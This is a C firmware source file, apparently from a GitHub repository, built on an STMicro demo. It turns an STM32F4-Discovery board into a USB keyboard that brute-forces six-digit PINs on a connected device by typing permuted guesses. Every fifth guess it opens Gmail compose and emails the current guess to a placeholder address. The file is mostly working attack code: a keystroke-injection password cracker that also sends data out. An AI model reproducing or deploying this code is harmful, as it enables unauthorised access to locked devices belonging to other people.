-
Notifications
You must be signed in to change notification settings - Fork 12
/
main.c
228 lines (202 loc) · 6.43 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
/**
******************************************************************************
* @file main.c
* @author Brett Brotherton
* @version V1.0.0
* @date 2013-11-03
* @brief Main program body
******************************************************************************
* @attention
*
* Note this is modified from the STMicro Demo project main, The framework is
* from there and the meat of the code is my own work
*
*
*
*
* Original Copyright notice:
*
* THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
* WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE
* TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY
* DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING
* FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE
* CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
*
* <h2><center>© COPYRIGHT 2011 STMicroelectronics</center></h2>
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "main.h"
#include "usbd_hid_core.h"
#include "usbd_usr.h"
#include "usbd_desc.h"
#include "keyboard.h"
#include "permute.h"
#include <string.h>
/** @addtogroup STM32F4-Discovery_Demo
* @{
*/
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
#define TESTRESULT_ADDRESS 0x080FFFFC
#define ALLTEST_PASS 0x00000000
#define ALLTEST_FAIL 0x55555555
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
#ifdef USB_OTG_HS_INTERNAL_DMA_ENABLED
#if defined ( __ICCARM__ ) /*!< IAR Compiler */
#pragma data_alignment = 4
#endif
#endif /* USB_OTG_HS_INTERNAL_DMA_ENABLED */
__ALIGN_BEGIN USB_OTG_CORE_HANDLE USB_OTG_dev __ALIGN_END;
uint16_t PrescalerValue = 0;
__IO uint32_t TimingDelay;
__IO uint8_t DemoEnterCondition = 0x00;
__IO uint8_t UserButtonPressed = 0x00;
LIS302DL_InitTypeDef LIS302DL_InitStruct;
LIS302DL_FilterConfigTypeDef LIS302DL_FilterStruct;
__IO int8_t X_Offset, Y_Offset, Z_Offset = 0x00;
uint8_t Buffer[6];
/* Private function prototypes -----------------------------------------------*/
static uint32_t Demo_USBConfig(void);
/**
* @brief Main program.
* @param None
* @retval None
*/
int main(void)
{
uint32_t guessIdx = 0;
int running = 0;
int delay = 0;
RCC_ClocksTypeDef RCC_Clocks;
/* Initialize LEDs and User_Button on STM32F4-Discovery --------------------*/
STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_EXTI);
STM_EVAL_LEDInit(LED4);
STM_EVAL_LEDInit(LED3);
STM_EVAL_LEDInit(LED5);
STM_EVAL_LEDInit(LED6);
/* SysTick end of count event each 10ms */
RCC_GetClocksFreq(&RCC_Clocks);
SysTick_Config(RCC_Clocks.HCLK_Frequency / 100);
STM_EVAL_LEDOff(LED4);
STM_EVAL_LEDOn(LED3);
STM_EVAL_LEDOff(LED5);
STM_EVAL_LEDOff(LED6);
STM_EVAL_PBInit(BUTTON_USER, BUTTON_MODE_GPIO);
keyboardInit(&USB_OTG_dev);
Demo_USBConfig();
char guess[7];
strcpy(guess, "400000");
Delay(2000);
while (1) {
if (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) {
//crappy debounce routine
TimingDelay = 10;
while ((STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET)&&(TimingDelay != 0x00));
//now change start or stop password attempts
if (running == 0) {
STM_EVAL_LEDOn(LED4);
running = 1;
} else {
STM_EVAL_LEDOff(LED4);
running = 0;
}
}
//mostly non blocking delay to allow stopping with button
if (delay > 0) {
Delay(1000);
delay--;
}
if (running != 0 && delay == 0) {
Delay(200);
keyboardWrite(KEY_BACKSPACE);
keyboardWrite(KEY_BACKSPACE);
keyboardWrite(KEY_BACKSPACE);
keyboardWrite(KEY_BACKSPACE);
STM_EVAL_LEDToggle(LED6);
keyboardPutString(guess);
keyboardWrite(KEY_RETURN);
nextPermutation(guess, "123", 1, 0);
if ((++guessIdx % 5) == 0) {
Delay(200);
//try to email every 5 guesses
keyboardReleaseAll();
keyboardPress(KEY_LEFT_GUI);
keyboardPress('g');
Delay(50);
keyboardReleaseAll();
keyboardPutString("cyouremail@yourdomain.com"); //leave the preceding 'c' that is the gmail compose shortcut
keyboardWrite(KEY_TAB);
keyboardPutString(guess);
keyboardWrite(KEY_TAB);
keyboardPutString(guess);
keyboardWrite(KEY_TAB);
keyboardWrite(KEY_TAB);
keyboardWrite(KEY_RETURN);
STM_EVAL_LEDOff(LED5);
delay = 30;
}
}
}
}
/**
* @brief Initializes the USB for the demonstration application.
* @param None
* @retval None
*/
static uint32_t Demo_USBConfig(void)
{
USBD_Init(&USB_OTG_dev,
USB_OTG_FS_CORE_ID,
&USR_desc,
&USBD_HID_cb,
&USR_cb);
return 0;
}
/**
* @brief Inserts a delay time.
* @param nTimeMs: specifies the delay time length, in ms (resolution is 40 ms so actual time may vary by up to 40 ms)
* @retval None
*/
void Delay(__IO uint32_t nTimeMs)
{
//find nearest delay we can do
TimingDelay = nTimeMs/40+1;
while(TimingDelay != 0);
}
/**
* @brief Decrements the TimingDelay variable.
* @param None
* @retval None
*/
void TimingDelay_Decrement(void)
{
if (TimingDelay != 0x00)
{
TimingDelay--;
}
}
#ifdef USE_FULL_ASSERT
/**
* @brief Reports the name of the source file and the source line number
* where the assert_param error has occurred.
* @param file: pointer to the source file name
* @param line: assert_param error line source number
* @retval None
*/
void assert_failed(uint8_t* file, uint32_t line)
{
/* User can add his own implementation to report the file name and line number,
ex: printf("Wrong parameters value: file %s on line %d\r\n", file, line) */
/* Infinite loop */
while (1)
{
}
}
#endif
/**
* @}
*/
/******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE****/